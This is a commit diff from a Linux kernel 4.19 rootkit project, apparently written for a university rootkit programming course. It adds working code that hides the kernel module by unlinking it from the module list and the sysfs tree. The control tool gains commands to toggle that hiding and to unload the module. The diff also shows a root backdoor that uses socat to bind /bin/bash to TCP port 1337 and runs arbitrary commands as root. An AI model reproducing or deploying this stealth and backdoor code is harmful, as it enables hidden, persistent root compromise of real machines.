linux-rootkit

Feature-rich interactive rootkit that targets Linux kernel 4.19, accompanied by a dynamic kernel memory analysis GDB plugin for in vivo introspection (e.g. using QEMU)
git clone git://git.deurzen.net/linux-rootkit
Log | Files | Refs

commit 43009050813f8f44b83ddbb550699c12caf751d2
parent cbac0bee1bcba2d234d951f0aa7aeb39ac45f20d
Author: deurzen <m.deurzen@tum.de>
Date:   Sun,  6 Dec 2020 03:20:32 +0100

Merge branch 'master' into feat/of-hiding

Diffstat:
Msrc/channel.c | 45+++++++++++++++++++++++++++++++++++++++++++++
Msrc/channel.h | 1+
Msrc/g7.c | 7++++---
Msrc/hook.c | 7+++++++
Msrc/ioctl.h | 9+++++----
Asrc/modhide.c | 86+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Asrc/modhide.h | 7+++++++
Msrc/rkctl/rkctl.c | 40++++++++++++++++++++++++++++++++++------
Msrc/rkctl/rkctl.h | 1+
Msrc/rootkit.h | 1+
10 files changed, 191 insertions(+), 13 deletions(-)

diff --git a/src/channel.c b/src/channel.c @@ -2,9 +2,11 @@ #include <linux/module.h> #include <linux/uaccess.h> #include <linux/ioctl.h> +#include <linux/proc_fs.h> #include "channel.h" #include "common.h" +#include "modhide.h" #include "filehide.h" #include "backdoor.h" #include "hidepid.h" @@ -21,6 +23,7 @@ report_channels(void) DEBUG_NOTICE("-----------------------------------\n"); DEBUG_NOTICE("listening on the following channels\n"); DEBUG_NOTICE("%-24s %#10lx\n", "PING", G7_PING); + DEBUG_NOTICE("%-24s %#10lx\n", "MODHIDE", G7_MODHIDE); DEBUG_NOTICE("%-24s %#10lx\n", "FILEHIDE", G7_FILEHIDE); DEBUG_NOTICE("%-24s %#10lx\n", "BACKDOOR", G7_BACKDOOR); DEBUG_NOTICE("%-24s %#10lx\n", "TOGGLEBD", G7_TOGGLEBD); @@ -33,6 +36,7 @@ detect_channel(unsigned cmd) { switch (cmd) { case G7_PING: return (channel_t){ "PING", handle_ping }; + case G7_MODHIDE: return (channel_t){ "MODHIDE", handle_modhide }; case G7_FILEHIDE: return (channel_t){ "FILEHIDE", handle_filehide }; case G7_BACKDOOR: return (channel_t){ "BACKDOOR", handle_backdoor }; case G7_TOGGLEBD: return (channel_t){ "TOGGLEBD", handle_togglebd }; @@ -60,6 +64,47 @@ handle_ping(unsigned long arg) } int +handle_modhide(unsigned long arg) +{ + long sarg = (long)arg; + + if (!sarg) { + static char *argv[] = { + "/bin/sh", + "-c", + "/sbin/rmmod g7", + NULL + }; + + static char *envp[] = { + "HOME=/", + "TERM=linux", + "PATH=/sbin:/bin:/usr/sbin:/usr/bin", + NULL + }; + + DEBUG_NOTICE("unloading module\n"); + + unhide_module(); + rootkit.hiding_module = 0; + + call_usermodehelper(argv[0], argv, envp, UMH_NO_WAIT); + } else if (sarg < 0) { + unhide_module(); + rootkit.hiding_module = 0; + + DEBUG_NOTICE("modhide off\n"); + } else if (sarg > 0) { + hide_module(); + rootkit.hiding_module = 1; + + DEBUG_NOTICE("modhide on\n"); + } + + return 0; +} + +int handle_filehide(unsigned long arg) { long sarg = (long)arg; diff --git a/src/channel.h b/src/channel.h @@ -11,6 +11,7 @@ channel_t detect_channel(unsigned); // handlers int handle_ping(unsigned long); +int handle_modhide(unsigned long); int handle_filehide(unsigned long); int handle_backdoor(unsigned long); int handle_togglebd(unsigned long); diff --git a/src/g7.c b/src/g7.c @@ -40,9 +40,10 @@ static struct file_operations g7_fops = rootkit_t rootkit = { - .hiding_files = true, - .hiding_pids = true, + .hiding_module = true, + .hiding_files = true, .hiding_open_files = true, + .hiding_pids = true, .backdoor = BD_TTY, }; @@ -117,7 +118,7 @@ g7_exit(void) MODULE_LICENSE("GPL"); MODULE_AUTHOR("Group 7"); -MODULE_DESCRIPTION("Assignment 3"); +MODULE_DESCRIPTION("Rootkit Programming"); MODULE_INFO(intree, "Y"); module_init(g7_init); diff --git a/src/hook.c b/src/hook.c @@ -14,6 +14,7 @@ #include "common.h" #include "hook.h" #include "rootkit.h" +#include "modhide.h" #include "filehide.h" #include "backdoor.h" #include "hidepid.h" @@ -62,6 +63,9 @@ init_hooks(void) sys_getdents = (void *)sys_calls[__NR_getdents]; sys_getdents64 = (void *)sys_calls[__NR_getdents64]; + if (rootkit.hiding_module) + hide_module(); + if (rootkit.hiding_files) hide_files(); @@ -79,6 +83,9 @@ init_hooks(void) void remove_hooks(void) { + if (rootkit.hiding_module) + unhide_module(); + if (rootkit.hiding_files) unhide_files(); diff --git a/src/ioctl.h b/src/ioctl.h @@ -5,9 +5,10 @@ #define G7_DEVICE "g7rkp" #define G7_PING _IOWR(G7_MAGIC_NUMBER, 0x0, char *) -#define G7_FILEHIDE _IOR(G7_MAGIC_NUMBER, 0x1, char *) -#define G7_BACKDOOR _IOR(G7_MAGIC_NUMBER, 0x2, char *) -#define G7_TOGGLEBD _IOR(G7_MAGIC_NUMBER, 0x3, char *) -#define G7_HIDEPID _IOR(G7_MAGIC_NUMBER, 0x4, char *) +#define G7_MODHIDE _IOR(G7_MAGIC_NUMBER, 0x1, char *) +#define G7_FILEHIDE _IOR(G7_MAGIC_NUMBER, 0x2, char *) +#define G7_BACKDOOR _IOR(G7_MAGIC_NUMBER, 0x3, char *) +#define G7_TOGGLEBD _IOR(G7_MAGIC_NUMBER, 0x4, char *) +#define G7_HIDEPID _IOR(G7_MAGIC_NUMBER, 0x5, char *) #endif//_GROUP7_IOCTL_H diff --git a/src/modhide.c b/src/modhide.c @@ -0,0 +1,86 @@ +#include <linux/kernfs.h> +#include <linux/module.h> +#include <linux/rbtree.h> +#include <linux/list.h> +#include <linux/hash.h> + +#include "common.h" +#include "modhide.h" + +static struct list_head *mod; + +// https://elixir.bootlin.com/linux/v4.19/source/include/linux/module.h#L334 +// https://elixir.bootlin.com/linux/v4.19/source/include/linux/kobject.h#L71 +void +hide_module(void) +{ + // sysfs directory entry + struct kernfs_node *sd; + + if (mod) + return; + + mod = THIS_MODULE->list.prev; + sd = THIS_MODULE->mkobj.kobj.sd; + + // Remove from the rbtree of modules + rb_erase(&sd->rb, &sd->parent->dir.children); + + // Remove from the list of modules + list_del(&THIS_MODULE->list); +} + +// https://elixir.bootlin.com/linux/v4.19/source/include/linux/module.h#L334 +// https://elixir.bootlin.com/linux/v4.19/source/include/linux/kobject.h#L71 +void +unhide_module(void) +{ + struct kernfs_node *sd; + struct rb_root *root; + struct rb_node *parent; + struct rb_node **new; + + if (!mod) + return; + + sd = THIS_MODULE->mkobj.kobj.sd; + root = &sd->parent->dir.children; + new = &root->rb_node; + parent = NULL; + + // Add back to the list of modules + list_add(&THIS_MODULE->list, mod); + + { // Insert our module back into the rbtree of modules + // Search for the place to insert, insert, then rebalance tree, + // as per https://www.kernel.org/doc/Documentation/rbtree.txt + while (*new) { + int cmp; + struct kernfs_node *rb; + + parent = *new; + rb = rb_entry(*new, struct kernfs_node, rb); + + // https://elixir.bootlin.com/linux/v4.19/source/include/linux/kernfs.h#L132 + // Recurse toward insert position based on 1. hash, + // 2. (upon collision) namespace, and 3. (otherwise) name + cmp = (sd->hash == rb->hash) + ? ((sd->ns == rb->ns) + ? strcmp(sd->name, rb->name) + : sd->ns - rb->ns) + : sd->hash - rb->hash; + + if (cmp < 0) + new = &((*new)->rb_left); + else if (cmp > 0) + new = &((*new)->rb_right); + else + return; + } + + rb_link_node(&sd->rb, parent, new); + rb_insert_color(&sd->rb, root); + } + + mod = NULL; +} diff --git a/src/modhide.h b/src/modhide.h @@ -0,0 +1,7 @@ +#ifndef _GROUP7_MODHIDE_H +#define _GROUP7_MODHIDE_H + +void hide_module(void); +void unhide_module(void); + +#endif//_GROUP7_MODHIDE_H diff --git a/src/rkctl/rkctl.c b/src/rkctl/rkctl.c @@ -34,6 +34,19 @@ parse_input(int argc, char **argv) if (ARGVCMP(1, "ping")) return (cmd_t){ handle_ping, NULL }; + if (ARGVCMP(1, "unload")) + return (cmd_t){ handle_modhide, (void *)0 }; + + if (ARGVCMP(1, "modhide")) { + ASSERT_ARGC(2, "modhide <on | off>"); + + if (ARGVCMP(2, "on")) + return (cmd_t){ handle_modhide, (void *)1 }; + + if (ARGVCMP(2, "off")) + return (cmd_t){ handle_modhide, (void *)-1 }; + } + if (ARGVCMP(1, "filehide")) { ASSERT_ARGC(2, "filehide <toggle | on | off>"); @@ -98,6 +111,12 @@ handle_ping(void *arg) } int +handle_modhide(void *arg) +{ + return issue_ioctl(G7_MODHIDE, (const char *)arg); +} + +int handle_filehide(void *arg) { return issue_ioctl(G7_FILEHIDE, (const char *)arg); @@ -112,19 +131,26 @@ handle_backdoor(void *arg) int handle_shellbd(void *arg) { - const char *socat_cmd = "socat tcp4-listen:1337,reuseaddr,fork" + static const char *socat_cmd = "socat tcp4-listen:1337,reuseaddr,fork" " exec:/bin/bash,pty,stderr,setsid"; issue_ioctl(G7_BACKDOOR, socat_cmd); - char *argv[] = { - "nc", - "127.0.0.1", - "1337", + static char *argv[] = { + "sh", + "-c" + "nc 127.0.0.1 1337", + NULL + }; + + static char *envp[] = { + "HOME=/", + "TERM=linux", + "PATH=/sbin:/bin:/usr/sbin:/usr/bin", NULL }; - return execve(argv[0], argv, NULL); + return execve(argv[0], argv, envp); } int @@ -164,6 +190,8 @@ help() printf("These are the available commands:\n"); printf("%-32s %s\n", "help", "this message"); printf("%-32s %s\n", "ping", "send an echo request to the rootkit"); + printf("%-32s %s\n", "unload", "gracefully unload the rootkit module"); + printf("%-32s %s\n", "modhide <on | off>", "{,un}hide rootkit module"); printf("%-32s %s\n", "filehide <toggle | on | off>", "{,un}hide files"); printf("%-32s %s\n", "backdoor <execve_command>", "exec a command as root"); printf("%-32s %s\n", "shell", "obtain a shell as root"); diff --git a/src/rkctl/rkctl.h b/src/rkctl/rkctl.h @@ -21,6 +21,7 @@ int issue_ioctl(unsigned long, const char *); void help(); int handle_ping(void *); +int handle_modhide(void *); int handle_filehide(void *); int handle_backdoor(void *); int handle_shellbd(void *); diff --git a/src/rootkit.h b/src/rootkit.h @@ -11,6 +11,7 @@ typedef enum { typedef struct { sc_hook_t hooks[16]; + bool hiding_module; bool hiding_files; bool hiding_pids; bool hiding_open_files;